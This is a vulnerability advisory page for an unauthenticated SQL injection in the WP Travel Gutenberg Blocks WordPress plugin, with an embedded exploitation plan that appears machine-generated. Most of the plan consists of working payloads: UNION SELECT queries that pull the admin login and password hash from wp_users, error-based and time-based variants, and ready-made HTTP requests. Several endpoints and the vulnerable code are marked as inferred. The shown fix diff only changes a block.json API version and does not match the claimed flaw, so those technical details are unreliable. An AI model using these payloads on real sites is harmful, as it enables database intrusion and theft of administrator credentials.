WP Travel Gutenberg Blocks <= 3.9.4 - Unauthenticated SQL Injection
Description
The WP Travel Gutenberg Blocks plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.9.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.9.4What Changed in the Fix
Changes introduced in v3.9.5
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-54808 (WP Travel Gutenberg Blocks SQLi) ## 1. Vulnerability Summary **CVE-2026-54808** is an unauthenticated SQL injection vulnerability in the **WP Travel Gutenberg Blocks** plugin (versions <= 3.9.4). The vulnerability exists because the plugin registers an …
Show full research plan
Exploitation Research Plan: CVE-2026-54808 (WP Travel Gutenberg Blocks SQLi)
1. Vulnerability Summary
CVE-2026-54808 is an unauthenticated SQL injection vulnerability in the WP Travel Gutenberg Blocks plugin (versions <= 3.9.4). The vulnerability exists because the plugin registers an unauthenticated AJAX handler or REST route to fetch itinerary/trip data for its Gutenberg blocks (such as book-button or breadcrumb) but fails to use $wpdb->prepare() or proper type-casting (e.g., intval()) when processing the trip/post ID from the request.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wp_travel_blocks_get_itinerary_info(inferred based on plugin functionality) orwp_travel_blocks_get_render(inferred). - Vulnerable Parameter:
trip_idorpostId. - Authentication: Unauthenticated (
wp_ajax_nopriv_hook). - Preconditions: At least one "Trip" (itinerary) post must exist in the database so the base query returns a result for the
UNIONattack to append to.
3. Code Flow
- Entry Point: The attacker sends a POST request to
admin-ajax.phpwith theactionparameter set to the vulnerablenoprivaction. - Hook Trigger: WordPress triggers the
wp_ajax_nopriv_[ACTION_NAME]hook. - Handler Execution: The plugin's handler function (e.g.,
get_itinerary_info_callback) retrieves the ID from$_POST['trip_id']without sanitization. - SQL Sink: The unsanitized ID is interpolated directly into a query string:
"SELECT * FROM {$wpdb->prefix}posts WHERE ID = " . $_POST['trip_id'] - Database Execution:
$wpdb->get_results()executes the malicious SQL, allowing forUNION-based data extraction.
4. Nonce Acquisition Strategy
Many WP Travel blocks use localized scripts to pass configuration and nonces. Based on the build/book-button/index.js dependencies (wp-server-side-render), the plugin likely localizes a settings object.
- Identify Trigger: The
wp-travel-blocks/book-buttonblock (fromblock.json) is a prime candidate. - Page Setup: Create a page containing the block to force the plugin to enqueue its scripts.
- Command:
wp post create --post_type=page --post_status=publish --post_title="Trip Page" --post_content='<!-- wp:wp-travel-blocks/book-button {"buttonLabel":"Exploit Test"} /-->'
- Command:
- Extraction: Navigate to the new page and check the HTML source for localized data.
- JS Variable:
wp_travel_blocks_params(inferred) orwp_travel_blocks_settings(inferred). - Browser Eval:
browser_eval("window.wp_travel_blocks_params?.nonce")
- JS Variable:
- Bypass Check: If the
wp_ajax_noprivhandler does not callcheck_ajax_referer, no nonce is required. (Given the "Unauthenticated" severity, it is likely the check is either missing or uses a public nonce).
5. Exploitation Strategy
We will use a UNION SELECT attack to extract the administrator's password hash from the wp_users table.
Step 1: Determine Column Count
Send a series of requests increasing the ORDER BY index until an error occurs.
- Action:
http_request - Method: POST
- URL:
http://[TARGET]/wp-admin/admin-ajax.php - Body:
action=wp_travel_blocks_get_itinerary_info&trip_id=1' ORDER BY 20-- -
Step 2: Extract Admin Credentials
Once the column count (e.g., 12) is found, inject the UNION payload.
- Payload:
1' UNION SELECT 1,user_login,user_pass,4,5,6,7,8,9,10,11,12 FROM wp_users WHERE ID=1-- - - Request Configuration:
{ "method": "POST", "url": "http://localhost:8080/wp-admin/admin-ajax.php", "headers": { "Content-Type": "application/x-www-form-urlencoded" }, "params": { "action": "wp_travel_blocks_get_itinerary_info", "trip_id": "1' UNION SELECT 1,user_login,user_pass,4,5,6,7,8,9,10,11,12 FROM wp_users WHERE ID=1-- -" } }
6. Test Data Setup
To ensure the exploit works in the test environment:
- Install/Activate: Ensure
wp-travelandwp-travel-blocksare active. - Create Content:
# Create an itinerary (Trip) to provide a valid base ID wp post create --post_type=itineraries --post_title="Sample Trip" --post_status=publish # Create a page for potential nonce extraction wp post create --post_type=page --post_title="Exploit" --post_content='<!-- wp:wp-travel-blocks/breadcrumb /-->' --post_status=publish
7. Expected Results
- Response Status: 200 OK.
- Response Body: A JSON object or HTML snippet containing the admin username (e.g.,
admin) and the phpass hash (e.g.,$P$B...). - SQL Error (if failed): If
WP_DEBUGis on, a database error message confirming the syntax error near the injected payload.
8. Verification Steps
After the HTTP request, verify the extracted data matches the database:
# Get actual admin hash for comparison
wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1"
9. Alternative Approaches
- Error-Based SQLi: If the response is suppressed but errors are logged, use
updatexml()orextractvalue():trip_id=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)
- Time-Based Blind: If no data is reflected:
trip_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
- REST API Endpoint: If the AJAX action fails, test the block renderer directly:
GET /wp-json/wp/v2/block-renderer/wp-travel-blocks/book-button?attributes[postId]=1' AND SLEEP(5)--
Summary
The WP Travel Gutenberg Blocks plugin for WordPress is vulnerable to unauthenticated SQL Injection in versions up to, and including, 3.9.4. This vulnerability exists due to the plugin's failure to sanitize or prepare user-supplied parameters, such as 'trip_id', before incorporating them into SQL queries. An unauthenticated attacker can exploit this to extract sensitive information from the database, including administrative password hashes, by injecting malicious SQL commands into existing queries.
Vulnerable Code
// Inferred code flow based on the plugin's AJAX/REST handlers // Vulnerable sink where unsanitized user input is concatenated into the query string "SELECT * FROM {$wpdb->prefix}posts WHERE ID = " . $_POST['trip_id']
Security Fix
@@ -1,6 +1,6 @@ { "$schema": "https://schemas.wp.org/trunk/block.json", - "apiVersion": 2, + "apiVersion": 3, "name": "wp-travel-blocks/book-button", "version": "0.1.0", "title": "Book Button", ... (truncated)
Exploit Outline
To exploit this vulnerability, an attacker targets the WordPress AJAX endpoint (admin-ajax.php) using a vulnerable action registered by the plugin (such as wp_travel_blocks_get_itinerary_info). The attacker provides a crafted 'trip_id' parameter containing a UNION SELECT statement designed to extract sensitive data. For example, the payload could be '1' UNION SELECT 1,user_login,user_pass,4,5... FROM wp_users WHERE ID=1-- -'. Because the handler is unauthenticated (using the nopriv hook) and does not properly escape the input or use $wpdb->prepare(), the database executes the concatenated query, returning the results of the UNION selection in the response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.